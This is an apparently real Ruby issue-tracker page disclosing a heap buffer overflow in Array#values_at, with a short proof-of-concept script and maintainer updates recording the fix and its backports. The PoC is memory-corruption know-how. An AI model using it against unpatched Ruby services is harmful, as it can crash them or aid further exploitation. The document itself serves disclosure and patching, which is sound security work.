Actions
Bug #22326
closedheap buffer overflow in array.values_at()
Bug #22326:
heap buffer overflow in array.values_at()
Description
Hello, I discovered a heap buffer overflow in array.values_at(). I believe the root issue/potential fix is similar to #22325, but the code paths are distinct.
PoC:
class bad < Numeric
def initialize(v); @v = v; end
def val; @v; end
def <=>(o); @v <=> (o.is_a?(bad) ? o.val : o); end
def to_int; $a.clear; @v; end
def to_i; @v; end
def coerce(o); [o, @v]; end
end
$a = (1..3000).to_a
$a.values_at(Range.new(bad.new(2900), bad.new(2950)))
asan output (truncated):
Updated by peterzhu2118 (Peter Zhu) about 2 months ago
- Backport changed from 3.3: UNKNOWN, 3.4: UNKNOWN, 4.0: UNKNOWN to 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED
Thank you for this bug report. I believe this PR should have fixed this bug. I will mark this issue for backport.
Updated by mame (Yusuke Endoh) about 1 month ago
- Status changed from Open to Closed
Updated by k0kubun (Takashi Kokubun) about 1 month ago
- Backport changed from 3.3: WONTFIX, 3.4: REQUIRED, 4.0: REQUIRED to 3.3: WONTFIX, 3.4: REQUIRED, 4.0: DONE
ruby_4_0 738b4971c635246ad33c87263ddef5bb160ab255.
Updated by nagachika (Tomoyuki Chikanaga) about 1 month ago
- Backport changed from 3.3: WONTFIX, 3.4: REQUIRED, 4.0: DONE to 3.3: WONTFIX, 3.4: DONE, 4.0: DONE
ruby_3_4 a1c96b6b0fb3755fe14776e8a23d81088025a788 merged revision(s) 3f6143715aa934b558f0b97462b42793c845e4d7.
Actions